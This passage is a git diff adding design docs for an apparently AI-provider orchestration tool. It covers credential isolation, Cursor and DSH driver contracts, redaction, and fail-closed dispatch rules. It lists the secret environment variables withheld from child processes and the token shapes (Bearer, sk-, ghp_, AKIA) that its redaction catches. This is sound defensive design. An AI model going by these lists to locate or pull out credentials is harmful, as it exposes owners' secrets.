disposition, unresolved evidence | P34 | this module | + +## Non-goals + +No P25 event kind or schema change. No question encoding in +`child_progress.note`. No foreign P25 journal files. No scheduler, provider +dispatch, candidate composition, server/tool wiring, cleanup +implementation, Gate A, or release claim. Remote mutation stays denied. + +## Testing + +``` +node --no-warnings --test test/r1-attention-batch.test.mjs \ + test/r1-attention-batch-adversarial.test.mjs +``` diff --git a/docs/configuration.md b/docs/configuration.md index 8539d10..bae3ca5 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -4,6 +4,13 @@ Codex-Co-Engineer has no executable project policy file. The only project-scoped configuration data is the data-only ProfileV1 catalog described in [Profiles](#profiles); verification commands never come from profiles and remain a separate owner-maintained `VerificationPolicyV1`. +The approved-command resolver consumes that owner policy plus a closed +Codex/owner `command_id` selection and returns a frozen ExecutionIntent +receipt; it does not execute the command. The constrained verification +runner consumes only a genuine P16B receipt plus that trusted policy, +runs the exact owner-approved executable and argv once in a disposable +workspace separate from the candidate, and records bounded sanitized +host-observed evidence. It is not wired into the MCP server. Provider authentication is normal persistent login/session state or an owner-only key file. The setup command installs the pinned local composition and creates the default DSH configuration; it never performs login on the @@ -248,6 +255,22 @@ does not stream raw events or emit unsolicited stdio callbacks across assistant turns. See [MCP pending-call budget](mcp-pending-call.md) and the [efficient dogfood workflow](efficient-dogfood.md). +### Bounded runs (additive) + +The five-tool catalog does not gain a sixth tool. One run is submitted +through `delegate.run` with 1–8 lanes. `status`, `task`, `tasks`, and +`cancel` accept `run_id` to inspect, wait (`wait_until: +"decision_or_attention"`), latch attention, reply exactly once +(`run_reply`), cancel named lanes, or request proof-bound `cleanup`. +Omitted run fields keep the 3.2.1 shapes above, including `view: +"compact"`, `detail: "compact"`, `task_ids` wait-any, and +`response_mode: "structured"`. Provider/model is explicit or filled from +one named profile; mixed explicit/profile values fail closed when they +conflict. P22 is not a provider; parsing failures dispatch nothing. +`decision_or_attention` waits until an attention or terminal decision +(or `wait_ms`), and default production seams are durable P33/P34 +authorities. See [the run tool API](run-tool-api.md). + ### Local providers `workspace_mode: "managed"` is the default. It creates one locked diff --git a/docs/credential-isolation.md b/docs/credential-isolation.md new file mode 100644 index 0000000..1418636 --- /dev/null +++ b/docs/credential-isolation.md @@ -0,0 +1,137 @@ +# Credential and remote-mutation isolation (P29) + +Status: implemented as an additive v3 boundary +Complements: [threat model](threat-model.md), [ADR 0001](adr/0001-r1-bounded-run-architecture.md), P23 provider registry, P28 Git authority policy + +P29 is the credential and remote-mutation isolation boundary. It does not +sandbox a selected provider, substitute for P23 composition, or replace P28 +policy. Same-UID malicious filesystem access is outside this non-sandboxed +boundary. P30 live protected-ref audit remains later work. + +## Closed environment projection + +Supervisor launch, the systemd service, the credential-handoff loader +child, nested Grok/Cursor Local ACP children, and readiness children +receive a **closed** provider/operation environment. Projection starts +empty and copies only allowlisted operational keys plus the selected +provider's required route. It does not enumerate caller objects, so +hostile getters on unrelated keys never run. It does not spread +`process.env` and does not rely on a denylist. + +The following never reach provider or readiness children: + +- Git, SSH, and hosting credentials (`GIT_*` except a small hardening set, + `SSH_*`, `GH_TOKEN` / `GITHUB_*` / GitLab / Bitbucket tokens, askpass, + `insteadOf`, push URLs); +- control tokens (`WORKTREE_BOOTSTRAP_*`, MCP/supervisor lock secrets, + state-root tokens); +- owner-only key-file **paths** (`*_API_KEY_FILE` and Co-Engineer file + pointers); +- unrelated ambient secrets, `FAKE_ACPX_*`, and `NODE_OPTIONS` / `NODE_PATH`. + Explicit test injection of `FAKE_ACPX_*` is a closed in-process hook, not + ambient `process.env`. + +Lane hardening always sets `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`, +and `GIT_PUSH_OPTION_COUNT=0`. That is not a git sandbox; it removes the +platform's push/credential-helper environment. + +## Provider route isolation + +| Route | Receives | Does not receive | +| --- | --- | --- | +| Grok | `XAI_API_KEY` when present, Grok command, operational keys | Muse/Ox/Cursor keys, Git/SSH/hosting, key-file paths | +| Cursor Local | Cursor command, operational keys (CLI session under `HOME`) | `CURSOR_API_KEY`, Muse/Ox/Grok keys | +| DSH Muse | `MODEL_API_KEY`, Muse config path, DSH/ACPX commands | `OPENROUTER_API_KEY`, Grok/Cursor keys | +| DSH Ox | `OPENROUTER_API_KEY`, Ox config path, DSH/ACPX commands | `MODEL_API_KEY`, Grok/Cursor keys | +| Cursor Cloud local SDK | `CURSOR_API_KEY` plus bounded repository/ref/prompt data | Other provider keys, Git/SSH/hosting, key-file paths | +| Cursor Cloud remote | Credential-free origin URL, pinned SHA, prompt, optional `create_pr` flag | Local credentials, SSH agent, hosting tokens, key files | + +Readiness probes use the same closed maps. DSH `--version` / `which` and +`npm root --global` do not inherit ambient secrets. Credential presence for +DSH and Cursor Cloud is checked by an in-process owner-only file read, not +by leaking the value into an unrelated child. + +## Credential file reads + +Credential values may come from the selected env key or from an owner-only +file. File reads require: + +- an absolute, normalized path. Credential-file overrides are checked + before any `path.resolve` conversion; relative, non-normalized, and + double-separator inputs fail closed; +- `O_NOFOLLOW|O_RDONLY|O_NONBLOCK` open of a regular file; +- owner equal to the effective UID; +- exact mode `0600`; +- link count 1 (hardlinks denied); +- size in `1..=16 KiB`; +- a post-read `fstat` identity match (dev/ino/mode/nlink/uid/size/mtime/ctime). + +Errors are content-free: they never echo the path, the bytes, or the +credential. Symlink, FIFO, directory, oversize, empty, owner, mode, and +in-place swap during read fail closed. Same-UID replacement of a path +between checks is the documented non-sandbox residual. + +## systemd-run argv handoff + +Credential values never appear in `systemd-run` argv. Non-secret projected +keys may use `--setenv`. `systemd-run --setenv` is additive to the +user-manager environment, so the unit also sets `UnsetEnvironment=` for +inherited names that are not in the closed projection and exec's the +service through `env -i` of that same allowlist. Secret keys are written +to a bounded owner-only no-follow regular file under `XDG_RUNTIME_DIR` +(else the process temp dir), mode `0600`, directory `0700`. The service +command is always wrapped by `credential-handoff-loader.mjs`, including +Cursor Local which has no provider secrets of its own, so the worker is +never the manager-inherited leader. + +The loader opens the file with the same no-follow rules, applies the +values, unlinks the file (and best-effort the directory), then runs the +original command as a child with a closed service projection plus those +credentials. It does not spread `process.env`. Nested Grok and Cursor +Local ACP children receive that same closed projection through +`createAcpRuntime` / `closedProviderEnv`; ACPX does not start from +ambient `process.env`. The loader stays the service leader so +`KillMode=control-group` still reaches descendants. + +Cleanup unlinks any remaining handoff file after spawn failure, cancel, +terminal stop, or a later restart (a restart creates a new file). The +bounded internal identity is the process-boundary unit token, from which +the owner-only handoff path is reconstructed without persisting the path +or credential values on the public receipt. Stale identity directories +can be recovered the same way. The short-lived `systemd-run` client +receives only the D-Bus session keys needed to talk to the user manager +(`DBUS_SESSION_BUS_ADDRESS`, `XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). + +Cursor Cloud workers are local Node processes, not systemd services; they +still receive the closed projection and never put secrets in argv. + +## Exact-value redaction + +ACP events, public errors, worker logs, and Cursor Cloud receipts redact +the exact credential values for the selected route, including values of +length 1–3 and 16 KiB secrets split across chunks, events, errors, and +logs. Redaction uses the full value plus overlapping 32-byte fragments so +a chunked log line cannot reassemble the secret. Pattern redaction for +common token shapes remains as defense in depth. + +## No worker remote-mutation authority + +Workers do not receive push URLs, credential helpers, or hosting tokens. +Profiles and manifests stay data-only. This boundary denies worker +push/merge/rebase/PR/tag/release/protected-ref/credential-helper/remote +mutation rather than performing those Git operations. P28 remains the +authority-policy seam; P29 does not wrap it and does not audit live refs +(P30). + +Cursor Cloud `create_pr` stays a supervisor-to-remote SDK option. It is +not merge authority, does not send local Git/SSH/hosting credentials, and +does not grant workers a push URL. + +## Compatibility + +P23 `provider-registry.mjs` remains the only composition authority for the +four accepted adapters. P29 does not add a fifth slot, a wrapper factory, +or ambient discovery. P28 `git-authority.mjs` remains policy at the +authority seam; P29 consults its denied-operation vocabulary without +mutating Git. 3.2.1 Muse/Ox credential routing (one route never substitutes +the other) is preserved. diff --git a/docs/cursor-cloud-driver.md b/docs/cursor-cloud-driver.md new file mode 100644 index 0000000..ef21565 --- /dev/null +++ b/docs/cursor-cloud-driver.md @@ -0,0 +1,118 @@ +# Cursor Cloud SDK provider driver (P21) + +Status: implemented against an injected bounded Cursor SDK transport port. +Not real-transport qualified. + +The P21 `CursorCloudDriverV1` (`plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs`) +is the Cursor Cloud adapter over the accepted P17 `ProviderDriverV1` +contract. It owns only the Cloud-specific wiring; every request/result +shape, capability posture, transition rule, and denial code is inherited +from the accepted contract. It defines no parallel envelope or capability +schema. Existing `mcp/v3/cursor-cloud-worker.mjs` is unchanged. + +## Hard binding + +- Provider slot: `cursor-cloud` exactly. Every other provider fails closed + with `provider_slot_mismatch`. +- Exact requested and effective model: preflight is ready only when the + transport attests the envelope model on both `requested_model` and + `effective_model`. Substitution is `model_unattested`. +- Workspace: remote provider-managed, starting at a pinned pushed SHA. The + envelope `starting_ref` must be a lowercase 40-hex commit identical to + the immutable run `base_sha`. +- Repository identity: credential-free host/path plus https URL. Credentials, + query, fragment, and mutable/duplicate identities fail closed. + +## Honest capability + +The shipped declaration is fixed to: + +- `workspace_semantics: remote_provider_managed` +- `workspace_starting_point: pinned_pushed_sha` +- `exact_model_selection: exact_and_attested` +- `dispatch_certainty: confirmed_launch` +- `same_session_reply: unsupported_unresolved_attention` +- `create_pr_posture: prohibited` +- `merge_authority: none_codex_only_integration` +- `replay_posture: never_replay` + +Concretely: + +- Launch reports `dispatched` only after an authoritative SDK run identity: + cloud agent id, provider run id, and stable request id, plus branch + identity. +- Any uncertainty after create or send intent is `dispatch_uncertain` and is + never replayed, retried, or fallback-substituted. +- Same-session reply is unsupported. Reconcile surfaces pending questions as + `unresolved_attention` and never starts a replacement run. +- `auto_create_pr` is always `false`. Merge, create-PR, and push keys fail + closed. + +## Preflight rejections + +Preflight blocks (closed detail pair, no transport-authored text): + +- dirty checkout +- absent origin +- non-commit starting ref +- invisible starting SHA +- base advancement (`head_sha` or starting SHA drifted from the pin) +- unattested model + +Preflight throws (security/identity): + +- credential-bearing repository identity +- ambiguous duplicate identities +- automatic PR authorization + +## Injected bounded SDK transport port + +`createCursorCloudDriverV1(transport)` / `bindCursorCloudDriverV1(transport)` +require a plain record exposing exactly six concrete synchronous functions +(Proxies, accessors, exotic prototypes, missing or extra operations are +denied): + +| Operation | Argument (frozen, bounded) | Receipt | +| ----------- | -------------------------- | ------- | +| `preflight` | child identity + starting SHA | workspace cleanliness, visibility, attested model, repository identity | +| `create` | identity + `auto_create_pr: false` | `{ created, agent_id, ...identity }` | +| `send` | identity + `agent_id` + `request_id` + envelope text | `{ acknowledged, agent_id, provider_run_id, request_id, branch, ...identity }` | +| `observe` | exact recorded agent/run/request identity | status plus independently verifiable Git/branch/base evidence | +| `cancel` | exact recorded agent/run/request identity | `{ outcome, archived, ...identity }` | +| `reattach` | exact recorded agent/run/request identity | `{ reattached, agent_id, provider_run_id, request_id, ...identity }` | + +Reconcile mapping: `running → in_progress`, `needs_attention → +unresolved_attention`, `completed/failed/cancelled → terminal` after Git +evidence verification, `lost → dispatch_uncertain`. Terminal verification +requires provider-reported state plus head SHA, merge-base, and branch. +The adapter claims nothing the transport did not expose. + +`restart_reattach` recovers only the exact recorded agent/run/request +identity and never relaunches. + +## Cancellation and terminal latches + +Cancel targets only the exact recorded run. The receipt must report both +`outcome` (`cancel_requested` / `cancel_confirmed` / `already_terminal`) and +a boolean `archived`. `cancel_requested` stays nonterminal so a later cancel +may still be delivered. Completed/failed/cancelled observe status and +`cancel_confirmed` / `already_terminal` latch: later cancel is +`already_terminal` with no further transport. + +## Bounds and telemetry hygiene + +Event pages are at most 32 records of `{ kind, bytes }` from a closed kind +vocabulary. Detail messages are composed only from closed vocabulary words +and validated identifiers. Provider prompt, envelope text, secrets, PR URLs, +and transport-authored strings never reach a driver result, a detail pair, +or inspectable evidence. + +## Coverage and non-claims + +Coverage lives in `test/r1-cursor-cloud-driver.test.mjs` and +`test/r1-cursor-cloud-driver-adversarial.test.mjs`. + +This slice does NOT qualify a real Cursor Cloud transport. It claims no +durable store, scheduler, registry cutover, supervisor cutover, merge +authority, or automatic PR creation. One Luna Max exact review follows; +real Cursor Cloud transport qualification follows exact acceptance. diff --git a/docs/cursor-cloud-result-source.md b/docs/cursor-cloud-result-source.md new file mode 100644 index 0000000..f094cb2 --- /dev/null +++ b/docs/cursor-cloud-result-source.md @@ -0,0 +1,69 @@ +# Cursor Cloud result source (P12) + +Status: implemented as result-source materialization over accepted P09/P10 +artifact contracts. Not live Cloud dispatch, scheduler, or evidence-bundle +composition. + +The P12 `CursorCloudResultSourceV1` +(`plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs`) +materializes Cursor Cloud provider-reported result/output/status and +independently observed Git/branch/commit/PR evidence as distinct typed +sources. Trusted Git facts are never synthesized from provider text. + +Existing `mcp/v3/cursor-cloud-driver.mjs` is unchanged. The only runtime +seam is a narrow result projection in `mcp/v3/cursor-cloud-worker.mjs`. + +## Distinct sources + +- **Provider report** (`artifact_kind: provider_report`): provider-reported + status plus complete available output/error bytes. +- **Git evidence** (`artifact_kind: git_diff`): independently observed + repository, branch, head/base SHAs, linear history, and PR URL. + +A SHA, branch, or PR URL that appears only in provider output stays in the +provider-report artifact. It is never copied onto the Git-evidence receipt. + +## Publication + +`materializeCursorCloudResultSourceV1(store, options)` publishes complete +transport-available bytes through `sanitizeAndPublishArtifactV1` and +verifies with `verifyStoredArtifactV1`. Model-facing tails are read only +through `readSanitizedArtifactV1`. Empty sources are not published. + +Receipts are detached deep-frozen content-free metadata: refs, digests, +provenance, bounded sanitized tails, and typed Git identity fields. They +never expose raw bytes, secrets, prompt text, store roots, or live handles. + +## Truncation + +- `source_truncated` / `complete` are caller-declared upstream/provider + facts, never inferred from tail length or class caps. +- `inline_clipped` is the local 4,096-byte UTF-8 tail window. +- Crossing a class cap fails closed. The writer does not clip toward the + cap or relabel storage limits as upstream truncation. +- 3.2.1 `result_*` bounding remains local clipping and is not treated as + `source_truncated`. + +Provider-report and Git-evidence truncation flags are independent. + +## Identity + +Exact `run_id`, `assignment_id`, request, provider run, repository, +branch, and head/base identities are bound into ArtifactRef paths and the +receipt. Observed correlation that disagrees fails closed with a typed +content-free mismatch code. There is no replay or fallback. + +3.2.1 Cloud tasks without exact R1 run/assignment/model identity keep the +existing public terminal path. P12 publication attaches only when that +identity is present. + +## Coverage and non-claims + +Coverage lives in `test/r1-cursor-cloud-result-source.test.mjs`, +`test/r1-cursor-cloud-result-source-adversarial.test.mjs`, and the Cloud +worker suite. + +This slice does not dispatch Cloud runs, qualify a live transport, cut +over scheduler/store/supervisor, mutate Git, create PRs, or implement P13 +evidence bundles or P23/P32 work. Provider completion remains evidence, +never acceptance. diff --git a/docs/cursor-local-driver.md b/docs/cursor-local-driver.md new file mode 100644 index 0000000..0212d00 --- /dev/null +++ b/docs/cursor-local-driver.md @@ -0,0 +1,147 @@ +# Cursor Local driver (P19) + +- Status: reconstructed against the accepted P17 driver contract + (`ProviderDriverV1`, ADR 0001 identifiers `exact_identities`, + `no_post_dispatch_fallback_or_replay`, `bounded_evidence`, + `gate_a_no_duplicate_dispatch`, + `gate_a_decision_or_attention_no_silent_unanswerable`). +- Scope: additive only. No existing module, surface, receipt, or legacy + 3.2.1 single-task behavior changed. +- Qualification: offline only. Nothing here runs a live Cursor Local CLI, + network, cloud service, or repository egress. + +## What ships + +`plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs` exposes: + +- `createCursorLocalDriverV1(options)` — binds an injected local session + transport to the four-operation `ProviderDriverV1` lifecycle and returns + `{ schema, version, provider, declaration, driver, controls }`. `driver` + is bindable with the P17 `bindProviderDriverV1(driver, declaration)`. +- `describeCursorLocalDriverV1()` — a frozen description of the closed + surface. It claims no transports of its own (`transports: []`), no + relaunch operations, no direct mode (`direct_mode: []`), no durable + store, and exactly the managed local worktree / `run_base_sha` + workspace posture. +- Closed constants for option keys, transport methods, control schemas, + bounds, vocabularies, and the redaction marker. + +The transport is a seam of six plain concrete functions — `availability`, +`spawn`, `send`, `observe`, `cancel`, `reply` — supplied by the host. The +driver owns none of them, spawns nothing itself, and performs no I/O. + +## Exact binding + +Every operation request must carry the exact compiled ChildEnvelopeV1 text +plus its raw lowercase 64-hex digest (digest-only launches are denied by +the P17 validators this module calls). On top of that proof the driver +requires, per lane: + +- `execution.provider` equal to `cursor-local` — unresolved (`-`) slots and + every other provider are refused; +- `execution.model` present and equal to the bound `model` option — omitted + models are never derived, near-misses never substitute; +- `repository.base_sha` equal to the bound `run_base_sha` option — the run + base never moves; managed local worktrees only; +- one lane identity per `(run_id, assignment_id)`; a different child + envelope digest on the same lane is refused as stale identity. + +A lane binding digest (`provider-run-identity.v1`) is computed over the +full provenance tuple and echoed by every transport result; echoes are +compared constant-time. A result that fails to echo the exact binding, or +a different live session id, is rejected as `uncorrelated_session`. + +## Lifecycle + +- **preflight** asks the transport whether the local Cursor route is + available. It never spawns and never sends. `blocked` carries the closed + detail pair; blocked lanes refuse launch forever. +- **launch** spawns at most once and dispatches at most once, ever. The + `dispatched` disposition requires the transport's authoritative + acknowledgement. A spawn failure stays pre-spawn `not_sent`; only the + explicit closed code `pre_write_failure` keeps a post-spawn failure in + honest `not_sent`; every other send failure after a successful spawn is + reported as `dispatch_uncertain`. There is no retry, resend, replay, + merge, fallback, or relaunch surface anywhere in the module. +- **reconcile** observes the exact spawned session with `observe` or + `restart_reattach` intent. Unsupported declared features fail closed. + Statuses map to `in_progress`, `unresolved_attention`, and `terminal`; + the terminal latch repeats identical receipts without contacting the + transport again. +- **cancel** addresses the exact original session. `confirmed` latches the + terminal state; `requested` keeps observing until the provider settles; + a terminal lane answers `already_terminal` without a transport call. + +## Same-session attention replies + +`controls.submitAttentionReply(request)` answers an outstanding attention +question inside the same live session. The reply is attempt-once: the +one-shot budget is consumed before the transport is touched, so a lying or +throwing transport can never earn a second attempt. It is bound to the +exact session id, question id, and bounded answer text; mismatches are +refused without consuming the budget or reaching the transport. An +unsupported reply posture refuses explicitly (`reply_unsupported`) before +any lane or transport contact and never starts a new prompt instead. Note +that the accepted P05 capability bridge pins `cursor-local` to +`live_session_reply`, so contradictory declarations fail at construction. + +## Bounded, redacted evidence + +All host-visible text — progress lines, event chunks, question text, and +the terminal flush — flows through one persistent per-lane redaction window +and then through UTF-8 byte bounds (8 KiB per segment, 64 segments, 64 KiB +per lane; answers up to 16 KiB). The window holds back a bounded tail so a +Bearer, Basic, API-key/token assignment, `sk-`/`ghp_`/AKIA-shaped token, +credential, or long hex envelope-digest signature split across leaves, +chunks, events, or reconciliations recombines only inside the window and +is redacted there before any host-visible byte exists. Overflow sets +`truncated` and drops further input silently; bounding failures are never +errors. Sub-window tails become visible at the terminal latch flush. +Segments cut on multi-byte boundaries round trip as valid UTF-8. + +`controls.readEvidence(request)` drains frozen segments with exact UTF-8 +byte accounting; draining is stable and non-consuming. + +## Content-free quarantine + +Options, both control requests, and every transport result pass through +one content-free structural quarantine built from the accepted P05/P17 +closures plus the P17 request/result validators: live and revoked Proxies, +accessors (getters/setters), symbols, non-enumerables, own `undefined`, +exotic prototypes, sparse arrays, cycles, aliases, unknown keys, and +oversized depth are all rejected without running any caller code — getters +and proxy traps never execute. Transport failures are classified through a +plain own-data-property read of a closed code vocabulary only; everything +else becomes honest post-spawn uncertainty. Every error surface — +preflight, spawn, dispatch, observe, cancel, reattach, reply, identity, +extra-key, validation — throws typed `RunContractV1Error`s whose codes, +paths, and messages carry fixed templates only: hostile names and values +never escape into anything host-visible. + +## Non-goals + +No direct-mode widening; no supervisor, registry, server, or durable-store +cutover; no scheduler; no protected-ref mutation; no merge authority; no +create-PR path; no provider transport compiled into the module; no live +Cursor Local qualification in this slice; no change to legacy 3.2.1 +single-task behavior or public receipt compatibility. + +## Testing + +Offline coverage lives beside the module: + +- `test/r1-cursor-local-driver.test.mjs` — lifecycle, identity echo, + one-spawn/one-ack dispatch, reply attempt-once, cancel/reattach/latch, + evidence bounds. +- `test/r1-cursor-local-driver-adversarial.test.mjs` — hostile inputs, + substitution, replay, uncorrelated sessions, recombination, overflow, + content-free error surfaces. +- `test/fixtures/r1-cursor-local-transport.mjs` — scripted transport stubs; + no real CLI, network, or repository is touched. + +Run from `plugins/codex-co-engineer`: + +``` +node --no-warnings --test test/r1-cursor-local-driver.test.mjs \ + test/r1-cursor-local-driver-adversarial.test.mjs +``` diff --git a/docs/data-handling.md b/docs/data-handling.md index f64a53a..b577b7e 100644 --- a/docs/data-handling.md +++ b/docs/data-handling.md @@ -86,6 +86,13 @@ State contains: - local repository/worktree paths, branch names, and commit references; - opaque local session, cloud agent, run, branch, and PR identifiers. +R1 run-store records are a separate library surface. Callers pass an +already-existing private directory (owner-only, not a symlink). The store +writes owner-only canonical JSON plus a request-idempotency pointer, uses +no-follow opens, and restores by recomputing accepted identity and +telemetry digests. It is not wired to the five-tool MCP catalog, does not +replace `tasks/` receipts, and does not delete runs. + MCP `task`/`status` results may overlay a compact live `last_event` from `events.jsonl` while the durable `task.json` receipt is still mid-run. Those snapshots omit prompt text, argv, secrets, and raw event streams. diff --git a/docs/dsh-acpx-driver.md b/docs/dsh-acpx-driver.md new file mode 100644 index 0000000..6f45836 --- /dev/null +++ b/docs/dsh-acpx-driver.md @@ -0,0 +1,136 @@ +# DSH ACPX provider driver (P20) + +Status: implemented against an injected bounded one-shot transport port. +Not real-transport qualified. + +The P20 `DshApxDriverV1` (`plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs`) +is the DeepSeek Harness (DSH) adapter over the accepted P17 +`ProviderDriverV1` contract. It owns only the DSH-specific wiring; every +request/result shape, capability posture, transition rule, and denial code is +inherited from the accepted contract. It defines no parallel envelope or +capability schema. + +## Hard binding + +- Provider slot: `dsh` exactly. Every other provider fails closed with + `provider_slot_mismatch`. +- Models: `muse-spark-1.2-contributor` or `stealth/ox-alpha` exactly. Any other + model fails closed with `dsh_model_denied`. The informational identity map + mirrors the shipped supervisor routing (`dsh-acp.yml` + `MODEL_API_KEY` / + `model-api-key`; `dsh-acp-ox-alpha.yml` + `OPENROUTER_API_KEY` / + `openrouter-api-key`) but resolves nothing by itself. +- Workspace: `workspace_mode: "managed"` at construction (required, no hidden + default), local managed worktree semantics anchored at the immutable run base + SHA. Direct mode fails closed with `direct_mode_rejected`. + +## Honest uncertainty + +ACPX provides no authoritative prompt-sent acknowledgement, so the capability +declaration is fixed to `dispatch_certainty: uncertain_after_spawn`, +`replay_posture: never_replay`, +`same_session_reply: unsupported_unresolved_attention`, +`create_pr_posture: prohibited`, and +`merge_authority: none_codex_only_integration`. Concretely: + +- A launch that reaches the spawn intent returns `dispatch_uncertain` even when + the port accepts the spawn. There is no `dispatched` result on this surface. +- Any post-intent exception or loss stays `dispatch_uncertain` and is never + replayed, retried, or fallback-substituted onto this or another transport; + the P17 lane state lands in a possibly-sent state so duplicate launches are + denied with `replay_denied`. +- Only a provably pre-spawn failure may report `not_sent`: either the failure + happens before the spawn call was ever made (for example a lost identity + probe), or the port throws an error carrying own data properties + `phase: "prespawn"` plus a bounded `code`. Getters, exotic prototypes, + subclasses, and partial markers are treated as unprovable and stay + uncertain. At most `DSH_MAX_LAUNCH_ATTEMPTS = 2` launch attempts exist per + lane; further attempts fail with `launch_budget_exceeded`. +- Same-session reply is unsupported. Reconcile surfaces pending questions as + `unresolved_attention`; the driver never answers them, never starts a + replacement prompt, and never opens a replacement session. + +## Injected bounded one-shot transport port + +`createDshApxDriverV1({ transport, workspace_mode, now? })` requires a plain +record exposing exactly five concrete synchronous functions (Proxies, accessors, +exotic prototypes, missing or extra operations are denied): + +| Operation | Argument (frozen, bounded) | Receipt (validated, closed keys) | +| ---------------- | ---------------------------------------------------------------------- | -------------------------------- | +| `configIdentity` | `{ model }` | `{ ready, reason?, config_path?, config_sha256?, credential_source?, credential_sha256? }` | +| `spawn` | `{ model, run_id, assignment_id, lane_index, base_sha, child_envelope_digest, envelope_text, attempted_at_ms }` | `{ session_ref, observed_at_ms? }` | +| `poll` | `{ session_ref, correlation }` where correlation restates the exact child identity | `{ ...correlation, session_ref, state, stop_reason?, question_ref?, event_count, cursor, updated_at_ms }` | +| `events` | `{ session_ref, correlation, cursor, max_records }` | `{ records: [{ seq, kind, bytes }], next_cursor, truncated }` | +| `cancel` | `{ session_ref, correlation }` | `{ ...correlation, session_ref, outcome }` | + +Recorded-evidence vocabulary the port must project raw ACPX output into: + +- `state`: `absent | accepted | running | needs_attention | completed | failed | + cancelled` +- `stop_reason` (terminal states only): `end_turn | cancelled | timeout | error` +- event `kind`: `text_delta | thought_delta | tool_call | tool_call_update | + status | usage | attention` +- cancel `outcome`: `confirmed | requested | already_terminal` + +Reconcile mapping: `accepted/running → in_progress`, `needs_attention → +unresolved_attention`, terminal states → `terminal`, everything else (including +lost evidence and intent-only lanes without a session handle) → +`dispatch_uncertain`. `restart_reattach` is reconcile-only recovery from +recorded evidence; missing evidence reports `restart_evidence_absent` and never +relaunches. + +## Fail-closed rules + +- Exact model/config/credential identity is probed again immediately before + spawn and on every reconcile/cancel. Drift of `config_path`, + `config_sha256`, `credential_source`, or `credential_sha256` fails closed + with `dsh_identity_drift` (or `dsh_identity_unavailable`); at launch this + happens before the spawn intent begins, so no half-dispatched lane can exist. +- Task/session correlation is checked per field on every poll/event/cancel + receipt (`run_id`, `assignment_id`, `lane_index`, `base_sha`, + `child_envelope_digest`, `model`, `session_ref`). Mismatch fails closed with + `dsh_correlation_mismatch`. +- Forged or malformed receipts (unknown states/kinds/outcomes, out-of-bound + integers, accessor properties, Proxies, sparse arrays, extra keys, own + undefined) fail closed with typed codes and leave the lane untouched. + Genuine probe loss degrades honestly instead: preflight blocks, reconcile + reports uncertainty, cancellation stays `dsh_cancel_unresolved` and may be + requested again because a cancellation is a control signal, not a prompt. + +## Bounds and telemetry hygiene + +`DSH_MAX_LANES=64`, `DSH_MAX_LANE_OPERATIONS=256`, +`DSH_MAX_LAUNCH_ATTEMPTS=2`, `DSH_MAX_RECORDED_EVENTS=1024`, +`DSH_MAX_EVENT_PAGE_RECORDS=64`, `DSH_MAX_EVENT_RECORD_BYTES=4096`, +`DSH_MAX_CURSOR=1e9`, session refs ≤128 bytes, clock readings within +`[0, 2100-01-01T00:00:00Z)` and monotonic per lane. Detail messages are +composed only from closed vocabulary words and validated integers (counts, +cursors, booleans, enumerated states); provider prompt, reply, question, or +event text can never reach a result, a detail pair, or an error message. + +## Coverage and non-claims + +Coverage lives in `test/r1-dsh-acpx-driver.test.mjs` (conformance, including +the unmodified P17 neutral contract suite) and +`test/r1-dsh-acpx-driver-adversarial.test.mjs` (hostile inputs, forged +receipts, bounds abuse, replay/substitution hostilities). + +This slice does NOT qualify a real transport. The module claims no durable +P19/P21 store, scheduler, registry cutover, or supervisor cutover, and holds +no merge/PR authority. + +## Surface for later real DSH Muse/Ox ACPX lifecycle conformance + +A real-transport qualification harness must supply a production port that: + +1. resolves the exact config file and credential per model (env first, then the + owner-only file), returning their sha256 digests and never the secret bytes; +2. spawns `acpx flow run ` one-shot with the exact envelope text as + the bounded input payload, returning a stable bounded `session_ref`; +3. projects recorded ACPX flow output (session records, NDJSON traces, exit + status) into the closed evidence/page/cancel receipts above, including + needs-attention detection with a bounded question ref; +4. performs tree-scoped cancellation and reports `confirmed` only after the + process group is observed stopped; +5. keeps every receipt free of provider-authored content beyond the closed + vocabulary, since the driver will deny anything else. diff --git a/docs/future-harness-conformance.md b/docs/future-harness-conformance.md new file mode 100644 index 0000000..46165b0 --- /dev/null +++ b/docs/future-harness-conformance.md @@ -0,0 +1,89 @@ +# Future-harness capability and evidence requirements (P22) + +P22 is an interface/template and a reusable conformance kit over the accepted +P17 `ProviderDriverV1` contract. It is not a fifth provider, not a supervisor +or registry cutover, and not a live transport. Future harnesses copy the +inert template, bind caller-supplied identities, and run the same kit. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs` +- `plugins/codex-co-engineer/mcp/v3/future-harness.mjs` +- `plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness.test.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs` + +## Required contract evidence + +Every future harness must prove the closed P17 lifecycle, using P17 +validators rather than a parallel schema: + +- Exactly the four own operations `preflight`, `launch`, `reconcile`, and + `cancel`. No `reply`, `retry`, `relaunch`, or merge/PR operation. +- The accepted P05 13-field capability record, including + `never_replay` and `none_codex_only_integration`. +- Exact compiled `ChildEnvelopeV1` bytes plus the matching digest. Digest-only + launches are denied. +- Frozen receipts that echo the proven `run_id`, `assignment_id`, + `lane_index`, `base_sha`, and envelope digest. +- Preflight before spawn. A blocked preflight cannot launch. A possible send + is never replayed onto this or another transport. + +This evidence is contract evidence. It does not attest a live route. + +## Supported-capability evidence + +A declared-supported feature is evidence only when the harness actually +exercises it through P17: + +- `cancellation: supported` — cancel after a real dispatch observation, with + `cancel_requested` / `cancel_confirmed` / `already_terminal`. +- `restart: reconcile_reattach_only` — reattach the exact recorded identity. + It is never a relaunch. +- `detailed_events` / `live_progress` — bounded include lists on reconcile + only, never extra receipt keys. +- `same_session_reply: live_session_reply` — still not a fifth method. + Attention remains `unresolved_attention` until a later supported reply + path exists outside this kit. + +The inert template does not claim these features. Its fail-closed feature +record is explicit and caller-supplied. + +## Unsupported-operation closure + +Unsupported means fail closed, not "try anyway": + +- Defaults for the template are all-unsupported features and `not_sent` + launch (no transport is configured). +- Cancel, 